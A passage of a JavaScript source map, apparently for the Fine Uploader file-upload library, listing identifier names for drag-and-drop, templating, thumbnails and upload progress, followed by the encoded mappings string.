ImageArray","insertExif","aBuffer","seg","x","imageData","buf","separatePoint","mae","ato","array","rawImageArray","head","endPoint","base64test","perFileProgress","totalLoaded","totalSize","lastLoadedSent","lastTotalSent","callbackProxy","noRetryableFiles","retryable","none","failedId","updateTotalProgress","onNew","newLoaded","newTotal","oldLoaded","oldTotal","isImage","registerPasteHandler","detachPasteHandler","clipboardData","getAsFile","unregisterPasteHandler","startUpload","determineNewEndpoint","formEl","validateForm","nativeSubmit","checkValidity","maybeUploadOnSubmit","submit","determineFormEl","_form2Obj","notIrrelevantType","irrelevantTypes","radioOrCheckbox","ignoreValue","checked","selectValue","select","selected","elements","getIframeContentJson","doc","innerHtml","contentWindow","nodeValue","createForm","responseFromMessage","multipart","addChunkingSpecificParams","allChunksDoneRequester","AllChunksDoneAjaxRequester","createReadyStateChangedHandler","onUploadOrChunkComplete","getChunksCompleteParams","isErrorUploadResponse","parseResponse","sendChunksCompleteRequest","complete","setParamsAndGetEntityToSend","setUploadHeaders","extraHeaders","toSend","promises","endpointHandler","DragAndDrop","uploadDroppedFiles","uploadDropZone","filesAsArray","dropLog","dropDisabled","processingDroppedFilesComplete","getElement","traverseFileTree","parseEntryPromise","fullPath","indexOfNameInFullPath","qqPath","droppedFiles","fileError","isDirectory","getFilesInDirectory","entriesLeft","accumEntries","existingPromise","dirReader","createReader","readEntries","newEntries","handleDataTransfer","pendingFolderPromises","handleDataTransferPromise","processingDroppedFiles","allowMultipleItems","dropError","setupDropzone","dropArea","dropZone","UploadDropZone","HIDE_ZONES_EVENT_NAME","onEnter","dropActive","stopPropagation","onLeaveNotDescendants","onDrop","HIDE_BEFORE_ENTER_ATTR","uploadDropZones","isFileDrag","dragEvent","fileDrag","types","leavingDocumentOut","relatedTarget","y","setupDragDrop","dropZones","dropZoneElements","maybeHideDropZones","HTMLElement","setupExtraDropzone","removeDropzone","dzs","targetEl","errorSpecifics","dragoverShouldBeCanceled","disableDropOutside","dropOutsideDisabled","dropEffect","isValidFileDrag","effectTest","dt","isSafari","effectAllowed","isOrSetDropDisabled","isDisabled","preventDrop","triggerHidezonesEvent","triggerUsingOldApi","hideZonesEvent","createEvent","initEvent","CustomEvent","dispatchEvent","attachEvents","effect","elementFromPoint","clientX","clientY","uiPublicApi","_parent","_templating","addCacheToDom","clearFiles","addExtraDropzone","_dnd","removeExtraDropzone","getItemByFileId","isHiddenForever","getFileContainer","_setupDragAndDrop","_totalFilesInBatch","_filesInBatchAddedToUi","_setupClickAndEditEventHandlers","formattedFilename","updateFilename","uploadPaused","continued","uploadContinued","getId","fileContainerOrChildEl","getFileId","getDropTarget","qqDropTarget","uiPrivateApi","_removeFileItem","removeFile","_fileButtonsClickHandler","FileButtonsClickHandler","_bindFileButtonsClickEvent","_focusinEventSupported","_isEditFilenameEnabled","_filenameClickHandler","_bindFilenameClickEvent","_filenameInputFocusInHandler","_bindFilenameInputFocusInEvent","_filenameInputFocusHandler","_bindFilenameInputFocusEvent","dragAndDrop","extraDropzones","templating","defaultDropZone","getDropZone","showDropProcessing","hideDropProcessing","errorData","lvl","onDeleteFile","onRetry","onPause","onContinue","onGetName","isEditFilenamePossible","FilenameClickHandler","FilenameInputFocusHandler","_filenameEditHandler","onGetUploadStatus","onSetName","onEditingStatusChange","isEditing","qqInput","getEditInput","qqFileContainer","hideFilename","hideEditIcon","showFilename","showEditIcon","markFilenameEditable","hideRetry","setStatusText","_classes","retrying","hidePause","FilenameInputFocusInHandler","hideSpinner","resetTotalProgress","reportDirectoryPaths","qqpath","_addToList","addHandler","updateProgress","hideCancel","hideProgress","waitingForResponse","_displayFileSize","completeUpload","_markFileAsSuccessful","fail","showCancel","isRetryPossible","showRetry","_controlFailureTextDisplay","parentRetVal","newResult","showDeleteButton","_maybeUpdateThumbnail","showSpinner","allowPause","retryNumForDisplay","maxAuto","retryNote","_showCancelLink","showAutoRetryNote","autoRetryNote","resetProgress","_onSubmitDeleteSuccess","forceConfirm","_showDeleteConfirm","_sendDeleteRequest","deletingFailedText","hideDeleteButton","deletingStatusText","confirmMessage","deleteRequestArgs","showConfirm","canned","prependData","prependIndex","dontDisplay","hideScaled","prependFiles","disableCancel","_handledProxyGroup","_clearList","addFileToCache","updateThumbnail","thumbnails","generatePreview","fileSizeOnSubmit","loadedSize","sizeForDisplay","_formatProgress","uploadedSize","formatProgress","mode","responseProperty","failureReason","failedUploadTextDisplay","failUpload","enableTooltip","_showTooltip","showMessage","_setupPastePrompt","namePromptMessage","defaultVal","showPrompt","fileStatus","placeholders","waitUntilResponse","listElement","template","editable","tooManyFilesError","unsupportedBrowser","promptForName","maxCount","notAvailablePath","waitingPath","timeBetweenThumbs","hasDialog","showDialog","confirm","defaultValue","prompt","Templating","templateIdOrEl","containerEl","fileContainerEl","maxThumbs","waitUntilUpdate","thumbnailNotAvailable","waitingForThumbnail","renderFailure","isEditElementsExist","isRetryElementExist","templateHtml","showThumbnails","serverScale","FILE_ID_ATTR","FILE_CLASS_PREFIX","THUMBNAIL_MAX_SIZE_ATTR","THUMBNAIL_SERVER_SCALE_ATTR","HIDE_DROPZONE_ATTR","DROPZPONE_TEXT_ATTR","IN_PROGRESS_CLASS","HIDDEN_FOREVER_CLASS","fileBatch","content","createDocumentFragment","map","isCancelDisabled","generatedThumbnails","thumbnailQueueMonitorRunning","thumbGenerationQueue","thumbnailMaxSize","selectorClasses","alertDialog","dialogCancelButton","confirmDialog","dialogMessage","dialogOkButton","promptDialog","drop","list","progressBarContainer","totalProgressBarContainer","totalProgressBar","spinner","continueButton","deleteButton","statusText","editFilenameInput","editNameIcon","dropText","dropProcessing","dropProcessingSpinner","thumbnail","previewGeneration","cachedThumbnailNotAvailableImg","cachedWaitingForThumbnailImg","cacheThumbnailPlaceholders","notAvailableUrl","waitingUrl","updatedImg","displayWaitingImg","waitingImgPlacement","maybeScalePlaceholderViaCss","show","generateNewPreview","getThumbnail","qqThumbnailId","maybeSetDisplayNotAvailableImg","generateNextQueuedPreview","queuedThumbRequest","update","processUpdateQueuedPreviewRequest","processNewQueuedPreviewRequest","getCancel","getTemplateEl","getContinue","getDialog","getDelete","getDropProcessing","getEditIcon","getPause","getProgress","getRetry","getSpinner","cssClass","previewing","notAvailableImgPlacement","parseAndGetTemplate","scriptEl","scriptHtml","fileListNode","tempTemplateEl","fileListHtml","defaultButton","dropTextEl","uploaderEl","fileTemplate","prependFile","parentEl","beforeEl","optFileOrBlob","relatedThumbnailId","useCachedPreview","showWaitingImg","setProgressBarWidth","percent","bar","progressBarSelector","targetThumbnailId","cachedThumbnailId","targetThumbnail","cachedThumbnail","hideTotalProgress","cantRenderEl","prependInfo","hideForever","batch","thumb","fileEl","fileNameEl","waitingImg","currentNode","getFileList","filenameEl","isFileName","icon","isEditIcon","isEditInput","isCancel","allowContinueButton","isPause","isContinueButton","isDeleteButton","isRetry","textEl","dialog","messageEl","inputEl","cancelBtn","okBtn","closeHandler","cancelClickHandler","okClickHandler","close","showModal","UiEventHandler","s","protectedApi","eventType","srcElement","onHandled","attachTo","getFileIdFromItem","qqFileId","getDisposeSupport","examineEvent","buttonHandlers","buttonType","firstLetterCapButtonType","inheritedInternalApi","handleFilenameEdit","FilenameEditHandler","handleInputFocus","getFilenameSansExtension","filenameSansExt","getOriginalExtension","origName","handleNameUpdate","newFilenameInputEl","origExtension","registerInputBlurHandler","registerInputEnterKeyHandler","keyCode","which","focusInput","focus"],"mappings":";CAAA,SAAUA,SCCT,SAASC,GACN,YAIA,SAASC,GAAKC,GACV,GAAIC,GAAcC,EAAmBF,OACjCG,EAAsBC,EAAuBH,EAKjD,OAHAI,GAASF,GACTG,EAAaL,EAAaE,GAEnBI,EAGX,QAASH,GAAuBI,GAC5B,GAAIC,GAAeC,EAAa,gBAC5BC,EAAYD,EAAa,eAG7B,OAAID,IAGAA,EAAeA,EAAaG,OAAO,GAAGC,cAAgBJ,EAAaK,MAAM,GAAGC,cAExEJ,EACO,GAAIK,IAAGL,GAAW,eAAiBF,GAAcD,GAGrD,GAAIQ,IAAG,eAAiBP,GAAcD,IAGzCG,EACO,GAAIK,IAAGL,GAAWM,aAAaT,GAGnC,GAAIQ,IAAGC,aAAaT,GAInC,QAASU,GAAUC,EAAKC,GACpB,GAAIC,GAAOd,EAAIc,KAAK,eAEpB,OAAID,IACaE,SAATD,IACAA,MAEJA,EAAKF,GAAOC,EACZb,EAAIc,KAAK,eAAgBA,GAJzB,QAOaC,SAATD,EACO,KAEJA,EAAKF,GAMpB,QAASd,GAASkB,GACd,MAAOL,GAAU,WAAYK,GAGjC,QAASb,GAAac,EAAQC,GAC1B,MAAOP,GAAUM,EAAQC,GAK7B,QAASnB,GAAaoB,EAAiBvB,GACnC,GAAIwB,GAAYD,EAAgBC,YAEhC7B,GAAE8B,KAAKzB,EAAoB0B,SAASF,UAAW,SAASG,EAAMC,GAC1D,GAAIC,GAAMC,CAEVD,GAAO,WAAWE,KAAKJ,GAAM,GAC7BE,EAAOA,EAAKG,UAAU,EAAG,GAAGpB,cAAgBiB,EAAKG,UAAU,GAC3DF,EAAsB1B,EAEtBoB,EAAUG,GAAQ,WACd,GAEIM,GAAyBC,EAFzBC,EAAeC,MAAMC,UAAU1B,MAAM2B,KAAKC,WAC1CC,IAGJ7C,GAAE8B,KAAKU,EAAc,SAASM,EAAKC,GAC/BF,EAAgBG,KAAKC,EAAkBF,MAG3CT,EAA0BL,EAAkBiB,MAAMC,KAAMX,EAExD,KACID,EAA4BJ,EAAoBiB,eAAelB,EAAMW,GAEzE,MAAOQ,GACHnC,GAAGoC,IAAI,uDAAyDD,EAAME,QAAS,SAInF,MAA+B,OAA3BjB,EACOA,EAEJC,KAIflC,EAAoB0B,SAASF,UAAYA,EAI7C,QAASzB,GAAmBoD,EAAQC,GAChC,GAAIC,GAASC,CAgDb,IA5CQD,EAFKlC,SAATiC,EAC4B,UAAxBD,EAAO7C,cACKiD,QAASnD,EAAI,OAOnBgD,EAGdzD,EAAE8B,KAAK0B,EAAQ,SAASxB,EAAMV,GACtBtB,EAAE6D,QAAQ7B,EAAM8B,IAAkB,EAClClD,EAAaoB,EAAMV,GAEdA,YAAetB,GACpB0D,EAAQ1B,GAAQV,EAAI,GAEftB,EAAE+D,cAAczC,IACrBoC,EAAQ1B,MACR5B,EAAmBkB,EAAKoC,EAAQ1B,KAE3BhC,EAAEgE,QAAQ1C,IACfqC,KACA3D,EAAE8B,KAAKR,EAAK,SAASwB,EAAKmB,GACtB,GAAIC,KAEAD,aAAoBjE,GACpBA,EAAEmE,MAAMR,EAAWM,GAEdjE,EAAE+D,cAAcE,IACrB7D,EAAmB6D,EAAUC,GAC7BP,EAAUX,KAAKkB,IAGfP,EAAUX,KAAKiB,KAGvBP,EAAQ1B,GAAQ2B,GAGhBD,EAAQ1B,GAAQV,IAIXE,SAATiC,EACA,MAAOC,GAIf,QAASU,GAAeC,GACpB,MAA2B,WAApBrE,EAAEsE,KAAKD,KACTA,EAAQE,MAAM,OACS/C,SAAxBjB,IAAW8D,GAKnB,QAASG,GAAgBH,GACrB,GAEII,GAFAC,KACAC,EAAWlC,MAAMC,UAAU1B,MAAM2B,KAAKC,UAAW,EAOrD,OAJAxC,GAAmBuE,EAAUD,GAE7BD,EAASlE,IAAW8D,GAASnB,MAAM3C,IAAYmE,GAExCzB,EAAkBwB,GAI7B,QAASxB,GAAkB3B,GACvB,GAAIsD,GAAiBtD,CAUrB,OANW,OAAPA,GAA8B,gBAARA,IACL,IAAjBA,EAAIuD,UAAmC,IAAjBvD,EAAIuD,WAAmBvD,EAAIwD,YAEjDF,EAAiB5E,EAAEsB,IAGhBsD,EAlMX,GAAInE,GACAqD,GAAiB,eAAgB,eAoMrC9D,GAAE+E,GAAGC,aAAe,SAASC,GACzB,GAAIC,GAAO/B,KAAMgC,EAAWvC,UAAWwC,IAoBvC,OAlBAjC,MAAKrB,KAAK,SAASuD,EAAOC,GAGtB,GAFA7E,EAAMT,EAAEsF,GAEJ/E,KAAc6D,EAAea,IAG7B,GAFAG,EAAQpC,KAAKwB,EAAgBtB,MAAMgC,EAAMC,IAErB,IAAhBD,EAAKK,OACL,OAAO,MAGsB,gBAArBN,IAAkCA,EAI9CjF,EAAEqD,MAAM,UAAa4B,EAAmB,0CAHxChF,EAAKiD,MAAMgC,EAAMC,KAOF,IAAnBC,EAAQG,OACDH,EAAQ,GAEVA,EAAQG,OAAS,EACfH,EAGJjC,OAGbqC,OCrOF,IAAItE,IAAK,SAAS0C,GACd,YAEA,QACI6B,KAAM,WAEF,MADA7B,GAAQ8B,MAAMC,QAAU,OACjBxC,MAIXyC,OAAQ,SAAStB,EAAMS,GAMnB,MALInB,GAAQiC,iBACRjC,EAAQiC,iBAAiBvB,EAAMS,GAAI,GAC5BnB,EAAQkC,aACflC,EAAQkC,YAAY,KAAOxB,EAAMS,GAE9B,WACH7D,GAAG0C,GAASmC,OAAOzB,EAAMS,KAIjCgB,OAAQ,SAASzB,EAAMS,GAMnB,MALInB,GAAQoC,oBACRpC,EAAQoC,oBAAoB1B,EAAMS,GAAI,GAC/BnB,EAAQkC,aACflC,EAAQqC,YAAY,KAAO3B,EAAMS,GAE9B5B,MAGX+C,SAAU,SAASC,GAKf,QAAKA,IAKDvC,IAAYuC,IAIZvC,EAAQsC,SACDtC,EAAQsC,SAASC,MAGgC,EAA9CA,EAAWC,wBAAwBxC,OAOrDyC,aAAc,SAASC,GAEnB,MADAA,GAASC,WAAWF,aAAazC,EAAS0C,GACnCnD,MAGXqD,OAAQ,WAEJ,MADA5C,GAAQ2C,WAAWE,YAAY7C,GACxBT,MAOXuD,IAAK,SAASC,GAEV,GAAqB,MAAjB/C,EAAQ8B,MACR,KAAM,IAAIxE,IAAG0F,MAAM,6EAWvB,OAPsB,OAAlBD,EAAOE,SAC8B,gBAA1BjD,GAAQ8B,MAAMmB,SAAqD,mBAArBjD,GAAe,UACpE+C,EAAOG,OAAS,iBAAmBC,KAAKC,MAAM,IAAML,EAAOE,SAAW,KAG9E3F,GAAG+F,OAAOrD,EAAQ8B,MAAOiB,GAElBxD,MAGX+D,SAAU,SAAShF,EAAMiF,GACrB,GAAIC,GAAK,GAAIC,QAAO,QAAUnF,EAAO,QACrC,OAAOkF,GAAGE,KAAK1D,EAAQ2D,eAAiBJ,IAAkBC,EAAGE,KAAK1D,EAAQ2C,WAAWgB,aAGzFC,SAAU,SAAStF,GAIf,MAHKhB,IAAG0C,GAASsD,SAAShF,KACtB0B,EAAQ2D,WAAa,IAAMrF,GAExBiB,MAGXsE,YAAa,SAASvF,GAClB,GAAIkF,GAAK,GAAIC,QAAO,QAAUnF,EAAO,QAErC,OADA0B,GAAQ2D,UAAY3D,EAAQ2D,UAAUG,QAAQN,EAAI,KAAKM,QAAQ,aAAc,IACtEvE,MAGXwE,WAAY,SAASJ,EAAWK,GAC5B,GAAIC,GACAC,IAEJ,OAAIF,IAAShE,EAAQmE,cACVnE,EAAQmE,cAAc,IAAMR,GAE9B3D,EAAQoE,iBACNpE,EAAQoE,iBAAiB,IAAMT,IAG1CM,EAAajE,EAAQqE,qBAAqB,KAE1C/G,GAAGY,KAAK+F,EAAY,SAAS/E,EAAKxB,GAC1BJ,GAAGI,GAAK4F,SAASK,IACjBO,EAAO9E,KAAK1B,KAGbsG,EAAQE,EAAO,GAAKA,IAG/BI,gBAAiB,SAASX,GACtB,MAAOrG,IAAG0C,GAAS+D,WAAWJ,GAAW,IAG7CY,SAAU,WAIN,IAHA,GAAIA,MACAC,EAAQxE,EAAQyE,WAEbD,GACoB,IAAnBA,EAAMvD,UACNsD,EAASnF,KAAKoF,GAElBA,EAAQA,EAAME,WAGlB,OAAOH,IAGXI,QAAS,SAASC,GAGd,MAFA5E,GAAQ6E,UAAYD,EACpB5E,EAAQ8E,YAAcF,EACfrF,MAGXwF,UAAW,WACP,MAAOzH,IAAG0C,GAAS2E,QAAQ,KAK/BK,aAAc,SAASC,GACnB,GAAIC,EAEJ,OAAIlF,GAAQgF,eAEHhF,EAAQgF,aAAaC,IAKkC,MAArD,WAAazG,KAAKwB,EAAQmF,aAAaF,KAG9CC,EAAUlF,EAAQiF,GAEFrH,SAAZsH,GAKiC,MAA9B,WAAa1G,KAAK0G,QAMxC,WACG,YAEA5H,IAAG8H,aAAe,SAASC,EAAQC,EAAMC,GACrC,MAAOjI,IAAGkI,cAAcH,EAAOI,UAAUH,EAAMC,KAGnDjI,GAAGkI,cAAgB,SAASE,GACxB,GAAIC,GAAaC,EAgBbC,EAAUC,EAfVC,EAAa,SAASpI,EAAM2H,GACxB,GAAIU,GAAcC,OAAOD,aACjBC,OAAOC,mBACPD,OAAOE,gBACPF,OAAOG,cACXC,EAAcL,GAAe,GAAIA,EAErC,OAAIK,IACAA,EAAYC,OAAO3I,GACZ0I,EAAYE,QAAQjB,IAGpB,GAAIkB,OAAM7I,IAAQ+C,KAAM4E,IAyB3C,OAlBIM,GADAF,EAAQe,MAAM,KAAK,GAAGC,QAAQ,WAAa,EAC9BC,KAAKjB,EAAQe,MAAM,KAAK,IAGxBG,UAAUlB,EAAQe,MAAM,KAAK,IAI9CX,EAAaJ,EAAQe,MAAM,KAAK,GAC3BA,MAAM,KAAK,GACXA,MAAM,KAAK,GAGhBd,EAAc,GAAIkB,aAAYjB,EAAWjE,QACzCkE,EAAW,GAAIiB,YAAWnB,GAC1BrI,GAAGY,KAAK0H,EAAY,SAAS1G,EAAK6H,GAC9BlB,EAAS3G,GAAO6H,EAAUC,WAAW,KAGlCjB,EAAWJ,EAAaG,IAGnCxI,GAAGoC,IAAM,SAASC,EAASsH,GACnBhB,OAAOiB,UACFD,GAAmB,SAAVA,EAKNhB,OAAOiB,QAAQD,GACfhB,OAAOiB,QAAQD,GAAOtH,GAGtBsG,OAAOiB,QAAQxH,IAAI,IAAMuH,EAAQ,KAAOtH,GAR5CsG,OAAOiB,QAAQxH,IAAIC,KAc/BrC,GAAG6J,SAAW,SAASC,GACnB,MAAOA,KAAaA,EAASnG,UAAyD,oBAA7CoG,OAAOvI,UAAUwI,SAASvI,KAAKqI,IAG5E9J,GAAGiK,WAAa,SAASH,GACrB,MAA6B,kBAAf,IASlB9J,GAAG8C,QAAU,SAASoH,GAClB,MAAiD,mBAA1CH,OAAOvI,UAAUwI,SAASvI,KAAKyI,IACjCA,GAASvB,OAAOY,aAAeW,EAAMC,QAAUD,EAAMC,OAAOC,cAAgBb,aAIrFvJ,GAAGqK,WAAa,SAASC,GACrB,MAAyD,kCAAlDP,OAAOvI,UAAUwI,SAASvI,KAAK6I,IAK1CtK,GAAGuK,WAAa,SAASC,GACrB,MAAyD,sBAAlDT,OAAOvI,UAAUwI,SAASvI,KAAK+I,IAGjCA,EAAcC,MAAQD,EAAcE,WAG7C1K,GAAG2K,SAAW,SAASC,GACnB,MAAuD,oBAAhDb,OAAOvI,UAAUwI,SAASvI,KAAKmJ,IAG1C5K,GAAG6K,QAAU,SAASC,GAClB,MAAIC,QAAOvJ,UAAUwJ,KACVF,EAAOE,OAGXF,EAAOtE,QAAQ,aAAc,KAOxCxG,GAAGiL,OAAS,SAASC,GAEjB,GAAIC,GAAQ5J,MAAMC,UAAU1B,MAAM2B,KAAKC,UAAW,GAC9C0J,EAASF,EACTG,EAAmBD,EAAOhC,QAAQ,KAetC,OAbApJ,IAAGY,KAAKuK,EAAM,SAASvJ,EAAKxB,GACxB,GAAIkL,GAAYF,EAAOjK,UAAU,EAAGkK,GAChCE,EAAWH,EAAOjK,UAAUkK,EAAmB,EAMnD,IAJAD,EAASE,EAAYlL,EAAMmL,EAC3BF,EAAmBD,EAAOhC,QAAQ,KAAMiC,EAAmBjL,EAAIiE,QAG3DgH,EAAmB,EACnB,OAAO,IAIRD,GAGXpL,GAAGwL,OAAS,SAASC,GACjB,MAAO9C,QAAO+C,MAAsD,kBAA9C3B,OAAOvI,UAAUwI,SAASvI,KAAKgK,IAGzDzL,GAAG2L,WAAa,SAASC,GACrB,MAAOjD,QAAOkD,UAA8D,sBAAlD9B,OAAOvI,UAAUwI,SAASvI,KAAKmK,IAG7D5L,GAAG8L,cAAgB,SAASC,GACxB,MAAO/L,IAAGwL,OAAOO,IAAqB/L,GAAGgM,QAAQD,IAGrD/L,GAAGgM,QAAU,SAASC,EAAYC,GAC9B,GAAIC,GAAe,SAAS/I,GACxB,GAAIgJ,GAAiBhJ,EAAKrD,aAE1B,OAAImM,GAC0B,SAAnBE,EAGe,SAAnBA,EAGX,UAAIzD,OAAO0D,kBAC4C,8BAA/CtC,OAAOvI,UAAUwI,SAASvI,KAAKwK,IAC3BA,EAAW7I,MAAQ+I,EAAaF,EAAW7I,WAKnD6I,EAAWK,SAC8B,UAArCL,EAAWK,QAAQvM,eACfkM,EAAW7I,MAAQ+I,EAAaF,EAAW7I,QAS3DpD,GAAGuM,OAAS,SAASC,GACjB,GAAI7D,OAAOO,MAAsD,kBAA9Ca,OAAOvI,UAAUwI,SAASvI,KAAK+K,GAC9C,OAAO,GAIfxM,GAAGyM,qBAAuB,WACtB,GAAIC,GAAQC,SAASC,cAAc,QAGnC,OAFAF,GAAMtJ,KAAO,OAGU9C,SAAnBoM,EAAMG,UACc,mBAATnB,OACa,mBAAboB,WACoC,mBAAnC9M,IAAG+M,oBAAqBC,QAI5ChN,GAAG+M,kBAAoB,WACnB,GAAIpE,OAAOsE,eACP,MAAO,IAAIA,eAGf,KACI,MAAO,IAAIC,eAAc,sBAE7B,MAAO/K,GAEH,MADAnC,IAAGoC,IAAI,wCAAyC,SACzC,OAIfpC,GAAGmN,sBAAwB,SAASC,GAChC,MAAOA,GAAaC,OAChBD,EAAaC,MAAMhJ,OAAS,GAC5B+I,EAAaC,MAAM,GAAGC,kBAG9BtN,GAAGuN,wBAA0B,WACzB,OAAQvN,GAAGwN,gBACPxN,GAAGyM,yBACuBnM,SAAzBoL,KAAKlK,UAAU1B,OAAsDQ,SAA/BoL,KAAKlK,UAAUiM,aAAyDnN,SAA5BoL,KAAKlK,UAAUkM,WAG1G1N,GAAG2N,UAAY,SAASC,EAAYC,EAAOC,GACvC,GAAIC,GAASH,EAAW9N,OAAS8N,EAAWF,UAAYE,EAAWH,WAEnE,OAAOM,GAAOtM,KAAKmM,EAAYC,EAAOC,IAG1C9N,GAAGgO,iBAAmB,SAAS7D,GAC3B,GAAI8D,GAAa,GACbC,EAAQ,GAAI1E,YAAWW,EAY3B,OAVAnK,IAAGY,KAAKsN,EAAO,SAAStM,EAAKuM,GACzB,GAAIC,GAAeD,EAAInE,SAAS,GAE5BoE,GAAa/J,OAAS,IACtB+J,EAAe,IAAMA,GAGzBH,GAAcG,IAGXH,GAGXjO,GAAGqO,cAAgB,SAASC,EAAMC,EAAalK,GAC3C,GAAImK,GAAcxO,GAAG2N,UAAUW,EAAMC,EAAaA,EAAclK,GAC5DoK,EAAa,GAAIC,YACjBC,EAAU,GAAI3O,IAAG4O,OAUrB,OARAH,GAAWI,OAAS,WAChBF,EAAQG,QAAQ9O,GAAGgO,iBAAiBS,EAAW7H,UAGnD6H,EAAWM,QAAUJ,EAAQK,QAE7BP,EAAWQ,kBAAkBT,GAEtBG,GAGX3O,GAAG+F,OAAS,SAASW,EAAOwI,EAAQC,GAahC,MAZAnP,IAAGY,KAAKsO,EAAQ,SAASpO,EAAMV,GACvB+O,GAAgBnP,GAAG6J,SAASzJ,IACRE,SAAhBoG,EAAM5F,KACN4F,EAAM5F,OAEVd,GAAG+F,OAAOW,EAAM5F,GAAOV,GAAK,IAG5BsG,EAAM5F,GAAQV,IAIfsG,GAaX1G,GAAGoP,SAAW,SAASC,EAAQC,GAC3B,GAAIC,MACAjN,EAASgN,EAASC,EAUtB,OARAvP,IAAGY,KAAK0B,EAAQ,SAASkN,EAAaC,GACNnP,SAAxB+O,EAAOG,KACPD,EAAOC,GAAeH,EAAOG,IAGjCH,EAAOG,GAAeC,IAGnBJ,GAMXrP,GAAGoJ,QAAU,SAASsG,EAAKC,EAAKC,GAC5B,GAAIF,EAAItG,QACJ,MAAOsG,GAAItG,QAAQuG,EAAKC,EAG5BA,GAAOA,GAAQ,CACf,IAAIC,GAAMH,EAAIrL,MAMd,KAJIuL,EAAO,IACPA,GAAQC,GAGLD,EAAOC,EAAKD,GAAQ,EACvB,GAAIF,EAAII,eAAeF,IAASF,EAAIE,KAAUD,EAC1C,MAAOC,EAGf,QAAO,GAIX5P,GAAG+P,YAAc,WACb,MAAO,uCAAuCvJ,QAAQ,QAAS,SAASwJ,GAEpE,GAAIC,GAAoB,GAAhBpK,KAAKqK,SAAgB,EAAGC,EAAS,KAALH,EAAWC,EAAS,EAAJA,EAAU,CAC9D,OAAOE,GAAEnG,SAAS,OAM1BhK,GAAGoQ,GAAK,WACJ,MAAOC,WAAUC,UAAUlH,QAAQ,WAAY,GAC3CiH,UAAUC,UAAUlH,QAAQ,cAAe,GAGnDpJ,GAAGuQ,IAAM,WACL,MAAOF,WAAUC,UAAUlH,QAAQ,aAAc,GAGrDpJ,GAAGwQ,IAAM,WACL,MAAOH,WAAUC,UAAUlH,QAAQ,aAAc,GAGrDpJ,GAAGyQ,KAAO,WACN,MAAOJ,WAAUC,UAAUlH,QAAQ,cAAe,GAGtDpJ,GAAG0Q,KAAO,WACN,MAAO1Q,IAAGoQ,MAAQC,UAAUC,UAAUlH,QAAQ,YAAa,GAG/DpJ,GAAG2Q,KAAO,WACN,MAAON,WAAUC,UAAUlH,QAAQ,SAAW,GAGlDpJ,GAAG4Q,OAAS,WACR,MAA4BtQ,UAArB+P,UAAUQ,QAAwBR,UAAUQ,OAAOzH,QAAQ,YAAa,GAGnFpJ,GAAG8Q,OAAS,WACR,MAA4BxQ,UAArB+P,UAAUQ,QAAwBR,UAAUQ,OAAOzH,QAAQ,aAAc,GAGpFpJ,GAAG+Q,MAAQ,WACP,MAA4BzQ,UAArB+P,UAAUQ,QAAwBR,UAAUQ,OAAOzH,QAAQ,YAAa,GAGnFpJ,GAAGgR,QAAU,WACT,OAAShR,GAAG2Q,SAAW3Q,GAAG0Q,QAAUL,UAAUC,UAAUlH,QAAQ,cAAe,GAA2B9I,SAArB+P,UAAUQ,QAA6C,KAArBR,UAAUQ,QAGrI7Q,GAAGiR,QAAU,WACT,MAA8B,UAAvBZ,UAAUa,UAGrBlR,GAAGmR,QAAU,WACT,MAAOd,WAAUC,UAAUvQ,cAAcqJ,QAAQ,cAAe,GAKpEpJ,GAAGwN,aAAe,WACd,MAAOxN,IAAGmR,WAAad,UAAUC,UAAUvQ,cAAcqJ,QAAQ,UAAY,GAGjFpJ,GAAGoR,KAAO,WACN,MAAOpR,IAAGqR,OAAShB,UAAUC,UAAUlH,QAAQ,aAAc,GAGjEpJ,GAAGsR,KAAO,WACN,MAAOtR,IAAGqR,OAAShB,UAAUC,UAAUlH,QAAQ,aAAc,GAGjEpJ,GAAGuR,KAAO,WACN,MAAOvR,IAAGqR,OAAShB,UAAUC,UAAUlH,QAAQ,aAAc,GAIjEpJ,GAAGwR,OAAS,WACR,MAAOxR,IAAGqR,OAAShB,UAAUC,UAAUlH,QAAQ,eAAgB,GAGnEpJ,GAAGqR,IAAM,WAEL,MAAOhB,WAAUC,UAAUlH,QAAQ,WAAY,GACxCiH,UAAUC,UAAUlH,QAAQ,WAAY,GACxCiH,UAAUC,UAAUlH,QAAQ,aAAc,GAGrDpJ,GAAGyR,UAAY,WACX,MAAOzR,IAAGqR,OAAShB,UAAUC,UAAUlH,QAAQ,YAAa,GAGhEpJ,GAAG0R,UAAY,WACX,MAAO1R,IAAGqR,QAAUrR,GAAGyR,aAAepB,UAAUC,UAAUlH,QAAQ,aAAc,GAGpFpJ,GAAG2R,iBAAmB,WAClB,MAAO3R,IAAGqR,QAAUrR,GAAGyR,cAAgBzR,GAAG0R,aAM9C1R,GAAG4R,eAAiB,SAASC,GACrBA,EAAED,eACFC,EAAED,iBAEFC,EAAEC,aAAc,GAQxB9R,GAAG+R,UAAa,WACZ,GAAIC,GAAMrF,SAASC,cAAc,MACjC,OAAO,UAASqF,GACZD,EAAIE,UAAYD,CAChB,IAAIvP,GAAUsP,EAAI7K,UAElB,OADA6K,GAAIzM,YAAY7C,GACTA,MAKf1C,GAAGY,KAAO,SAASuR,EAAcC,GAC7B,GAAIC,GAAY9O,CAEhB,IAAI4O,EAEA,GAAIxJ,OAAO2J,SAAWH,EAAa/H,cAAgBzB,OAAO2J,QACtD,IAAKD,EAAa,EAAGA,EAAaF,EAAa9N,SAC3Cd,EAAS6O,EAASD,EAAahS,IAAIkS,GAAaF,EAAaI,QAAQJ,EAAahS,IAAIkS,KAClF9O,KAAW,GAFoC8O,SAStD,IAAIrS,GAAG8C,QAAQqP,IAAiBnS,GAAGqK,WAAW8H,IAAiBnS,GAAGuK,WAAW4H,GAC9E,IAAKE,EAAa,EAAGA,EAAaF,EAAa9N,SAC3Cd,EAAS6O,EAASC,EAAYF,EAAaE,IACvC9O,KAAW,GAFoC8O,SAOtD,IAAIrS,GAAG2K,SAASwH,GACjB,IAAKE,EAAa,EAAGA,EAAaF,EAAa9N,SAC3Cd,EAAS6O,EAASC,EAAYF,EAAavS,OAAOyS,IAC9C9O,KAAW,GAFoC8O,SAQvD,KAAKA,IAAcF,GACf,GAAIpI,OAAOvI,UAAUsO,eAAerO,KAAK0Q,EAAcE,KACnD9O,EAAS6O,EAASC,EAAYF,EAAaE,IACvC9O,KAAW,GACX,OASxBvD,GAAGwS,KAAO,SAASC,EAASC,GACxB,GAAI1S,GAAGiK,WAAWwI,GAAU,CACxB,GAAItH,GAAQ5J,MAAMC,UAAU1B,MAAM2B,KAAKC,UAAW,EAElD,OAAO,YACH,GAAIiR,GAAU3S,GAAG+F,UAAWoF,EAI5B,OAHIzJ,WAAU2C,SAC